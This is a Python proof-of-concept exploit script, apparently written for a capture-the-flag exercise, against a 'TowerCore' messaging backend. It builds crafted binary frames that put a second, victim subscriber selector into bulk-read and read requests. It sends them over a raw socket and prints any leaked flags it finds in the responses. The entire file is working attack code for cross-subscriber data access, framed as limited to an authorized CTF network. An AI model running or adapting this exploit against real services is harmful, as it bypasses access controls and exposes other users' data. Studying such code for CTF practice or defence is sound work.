115 lines
3.7 KiB
Python
Executable File
115 lines
3.7 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
"""TowerCore pre-guard PoC: cross-subscriber reads.
|
|
|
|
The vulnerable backend accepted subscriber selectors in bulk-read (0x23) and
|
|
accepted duplicate subscriber selectors in read (0x21). The amd64 guard in
|
|
current deployments blocks these frames. This script is intentionally
|
|
stdlib-only so Neo can run it as ``script HOST``.
|
|
|
|
Use only against the authorized CTF network.
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import argparse
|
|
import re
|
|
import socket
|
|
import struct
|
|
import sys
|
|
from urllib.parse import urlsplit
|
|
|
|
|
|
FLAG_RE = re.compile(rb"\b[A-Z0-9]{31}=")
|
|
HEADER_SIZE = 16
|
|
|
|
|
|
def target_host(value: str, default_port: int) -> tuple[str, int]:
|
|
raw = value.strip()
|
|
if "://" not in raw:
|
|
raw = f"tcp://{raw}"
|
|
parsed = urlsplit(raw)
|
|
if not parsed.hostname:
|
|
raise ValueError("expected HOST or host:port")
|
|
return parsed.hostname, parsed.port or default_port
|
|
|
|
|
|
def tlv(tag: int, value: bytes) -> bytes:
|
|
return struct.pack("<HH", tag, len(value)) + value
|
|
|
|
|
|
def frame(opcode: int, fields: list[tuple[int, bytes]]) -> bytes:
|
|
payload = b"".join(tlv(tag, value) for tag, value in fields)
|
|
# LT, protocol version 1, opcode, reserved fields, little-endian payload.
|
|
return b"LT" + bytes((1, opcode)) + b"\0" * 10 + struct.pack("<H", len(payload)) + payload
|
|
|
|
|
|
def roundtrip(host: str, port: int, request: bytes, timeout: float) -> bytes:
|
|
chunks: list[bytes] = []
|
|
with socket.create_connection((host, port), timeout=timeout) as sock:
|
|
sock.settimeout(timeout)
|
|
sock.sendall(request)
|
|
while True:
|
|
try:
|
|
chunk = sock.recv(65536)
|
|
except socket.timeout:
|
|
break
|
|
if not chunk:
|
|
break
|
|
chunks.append(chunk)
|
|
return b"".join(chunks)
|
|
|
|
|
|
def report(label: str, response: bytes) -> list[str]:
|
|
flags = sorted({match.decode("ascii", "replace") for match in FLAG_RE.findall(response)})
|
|
print(f"{label}: {len(response)} response bytes")
|
|
if response:
|
|
print(f"{label} response: {response[:256].hex()}")
|
|
if flags:
|
|
print("flags:")
|
|
print("\n".join(flags))
|
|
return flags
|
|
|
|
|
|
def main() -> int:
|
|
parser = argparse.ArgumentParser(description=__doc__)
|
|
parser.add_argument("target", help="Neo target HOST or host:port")
|
|
parser.add_argument("--owned", default="owned-ue", help="authorized subscriber selector")
|
|
parser.add_argument("--victim", default="victimue", help="target subscriber selector")
|
|
parser.add_argument("--message-id", type=int, default=1)
|
|
parser.add_argument("--timeout", type=float, default=3.0)
|
|
parser.add_argument("--mode", choices=("bulk", "duplicate", "both"), default="both")
|
|
args = parser.parse_args()
|
|
|
|
host, port = target_host(args.target, 7250)
|
|
owned = args.owned.encode("utf-8")
|
|
victim = args.victim.encode("utf-8")
|
|
all_flags: set[str] = set()
|
|
|
|
if args.mode in ("bulk", "both"):
|
|
request = frame(0x23, [(0x0B, owned), (0x0B, victim)])
|
|
try:
|
|
all_flags.update(report("bulk-read", roundtrip(host, port, request, args.timeout)))
|
|
except OSError as exc:
|
|
print(f"bulk-read error: {exc}", file=sys.stderr)
|
|
|
|
if args.mode in ("duplicate", "both"):
|
|
request = frame(
|
|
0x21,
|
|
[
|
|
(0x0B, owned),
|
|
(0x0B, victim),
|
|
(0x0D, struct.pack("<I", args.message_id)),
|
|
(0x0E, b"\xff\xff\xff\xff"),
|
|
],
|
|
)
|
|
try:
|
|
all_flags.update(report("duplicate-read", roundtrip(host, port, request, args.timeout)))
|
|
except OSError as exc:
|
|
print(f"duplicate-read error: {exc}", file=sys.stderr)
|
|
|
|
return 0 if all_flags else 1
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|